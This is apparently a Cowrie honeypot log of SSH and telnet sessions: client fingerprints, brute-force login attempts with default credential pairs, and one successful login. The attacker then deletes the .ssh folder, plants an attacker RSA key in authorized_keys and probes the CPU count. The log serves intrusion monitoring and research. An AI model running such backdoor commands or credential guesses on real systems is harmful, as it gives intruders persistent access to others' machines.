{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:35.759779Z","src_ip":"196.196.150.5","session":"995c67be805b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"AAAAAAAA","message":"login attempt [root/AAAAAAAA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:36.221042Z","src_ip":"196.196.150.5","session":"995c67be805b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:37.330631Z","src_ip":"196.196.150.5","session":"995c67be805b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.116.254.157","src_port":59498,"dst_ip":"10.17.0.5","dst_port":22,"session":"3907c026686e","protocol":"ssh","message":"New connection: 154.116.254.157:59498 (10.17.0.5:22) [session: 3907c026686e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:37.911815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:37.915404Z","src_ip":"154.116.254.157","session":"3907c026686e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:38.081678Z","src_ip":"154.116.254.157","session":"3907c026686e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"gading","message":"login attempt [root/gading] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:38.783527Z","src_ip":"154.116.254.157","session":"3907c026686e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:39.953986Z","src_ip":"154.116.254.157","session":"3907c026686e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51446,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5590a0f4747","protocol":"telnet","message":"New connection: 170.64.224.25:51446 (159.203.135.109:23) [session: e5590a0f4747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:44.334391Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.36.147.215","src_port":48656,"dst_ip":"10.17.0.5","dst_port":22,"session":"d66aa9e12e32","protocol":"ssh","message":"New connection: 194.36.147.215:48656 (10.17.0.5:22) [session: d66aa9e12e32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:45.394086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:45.398380Z","src_ip":"194.36.147.215","session":"d66aa9e12e32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:45.488334Z","src_ip":"194.36.147.215","session":"d66aa9e12e32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arbitrum","password":"arbitrum999","message":"login attempt [arbitrum/arbitrum999] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:45.757796Z","src_ip":"194.36.147.215","session":"d66aa9e12e32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:46.852768Z","src_ip":"194.36.147.215","session":"d66aa9e12e32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.94.68.69","src_port":46926,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a25ff42badc","protocol":"ssh","message":"New connection: 45.94.68.69:46926 (159.203.135.109:22) [session: 4a25ff42badc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:48.767735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:48.773149Z","src_ip":"45.94.68.69","session":"4a25ff42badc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:48.985921Z","src_ip":"45.94.68.69","session":"4a25ff42badc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yy123456!","message":"login attempt [root/Yy123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:49.889332Z","src_ip":"45.94.68.69","session":"4a25ff42badc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:51.105756Z","src_ip":"45.94.68.69","session":"4a25ff42badc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.246.117.137","src_port":51896,"dst_ip":"159.203.135.109","dst_port":22,"session":"0cd956333920","protocol":"ssh","message":"New connection: 4.246.117.137:51896 (159.203.135.109:22) [session: 0cd956333920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:55.511080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:55.515324Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:55.589702Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"administrator","message":"login attempt [admin/administrator] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:55.923287Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.110653Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.113156Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.116635Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.266651Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.382743Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.386556Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.467369Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.470165Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.246.117.137","src_port":51906,"dst_ip":"159.203.135.109","dst_port":22,"session":"24fb1f4b2ed3","protocol":"ssh","message":"New connection: 4.246.117.137:51906 (159.203.135.109:22) [session: 24fb1f4b2ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.543211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.547259Z","src_ip":"4.246.117.137","session":"24fb1f4b2ed3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.623681Z","src_ip":"4.246.117.137","session":"24fb1f4b2ed3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:56.963935Z","src_ip":"4.246.117.137","session":"24fb1f4b2ed3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:58.044069Z","src_ip":"4.246.117.137","session":"24fb1f4b2ed3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.246.117.137","src_port":51910,"dst_ip":"159.203.135.109","dst_port":22,"session":"43b05b22664e","protocol":"ssh","message":"New connection: 4.246.117.137:51910 (159.203.135.109:22) [session: 43b05b22664e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:58.117547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:58.121155Z","src_ip":"4.246.117.137","session":"43b05b22664e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:58.199357Z","src_ip":"4.246.117.137","session":"43b05b22664e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:58.537480Z","src_ip":"4.246.117.137","session":"43b05b22664e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:59.615592Z","src_ip":"4.246.117.137","session":"43b05b22664e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:59.728049Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T08:19:59.730400Z","src_ip":"4.246.117.137","session":"0cd956333920","protocol":"ssh"}
